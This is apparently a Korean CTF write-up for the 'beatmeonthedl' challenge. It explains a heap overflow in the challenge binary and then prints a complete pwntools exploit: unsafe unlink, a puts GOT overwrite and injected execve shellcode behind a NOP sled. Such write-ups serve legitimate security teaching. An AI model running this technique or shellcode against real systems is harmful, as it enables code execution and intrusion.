728x90
해당 글을 쓰는 컴퓨터 자리가 IDA가 깔리지 않아서
이번에는 간단하게 설명하고 넘어가고자 한다.
.
.
.
보호기법
보호기법이 아무것도 걸려있지 않아서
Shellcode를 삽입을 하고 그 주소로 got를 overwrite하는 시나리오로 문제를 풀어봤다.
해당 바이너리를 실행을 하면,
username, password를 입력을 하는 창이 나오게 된다.
이는 IDA를 통해서 확인을 하면 값이 나오게 된다.
로그인을 하게되면 메뉴가 나오고 이를 통해서 사용자가 원하는 행동을 할 수가 있다.
이중에서 1번 메뉴에서 heap overflow가 터지게된다.
malloc을 56byte를 해주고 값은 128byte를 입력을 받는다.
fastbin 또는 tcache로 할당이 되게된다.
하지만 해당 프로그램의 free 함수를 보면 기존의 free함수가 아닌 커스텀된 free 함수를 사용하는 것 같다.
이로인해서 unsafe unlink를 통해서 exploit이 가능하다.
root@pwn:/home/chanhokim0208/defcon# cat ./ex.py
#!/usr/bin/python
from pwn import *
p = process('./beatmeonthedl')
e = ELF('./beatmeonthedl')
#context.terminal = ['gnome-terminal', '-x','sh','-c']
#gdb.attach(proc.pidof(p)[0])
def add(msg):
print p.recvuntil("|")
p.sendline("1")
print p.recvuntil(">")
p.sendline(str(msg))
def print_msg():
print p.recvuntil("|")
p.sendline("2")
def delete(idx):
print p.recvuntil("|")
p.sendline("3")
print p.recvuntil(":")
p.sendline(str(idx))
def change(idx,msg):
print p.recvuntil("|")
p.sendline("4")
print p.recvuntil(":")
p.sendline(str(idx))
print p.recvuntil("data:")
p.send(msg)
######### 1. Login ############
p.sendlineafter(": ", "mcfly")
p.sendlineafter(": ", "awesnap")
######## 2. Using unsafe unlink ##########
p_req = 0x609e80 # malloc pointer
fake_fd = p_req - 0x18 # p -> fd -> bk
fake_bk = p_req - 0x10 # p -> bk -> fd
shell_code = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
add("A")
add("B")
## Setting Fake chunk ##
payload = ''
payload += "A"*0x10
payload += p64(fake_fd)
payload += p64(fake_bk)
payload += "A"*0x10
payload += p64(0x30)
payload += p64(0x42)
change(0,payload)
delete(1)
change(0,p64(e.got['puts'])*4) #Func pointer -> puts's got
raw_input('>>')
shell_2 = "\x90"*0x20 + shell_code #nop_slad + shellcode
ret = e.got['puts'] + 0x10
change(0,p64(ret)+shell_2)
raw_input('>')
p.interactive()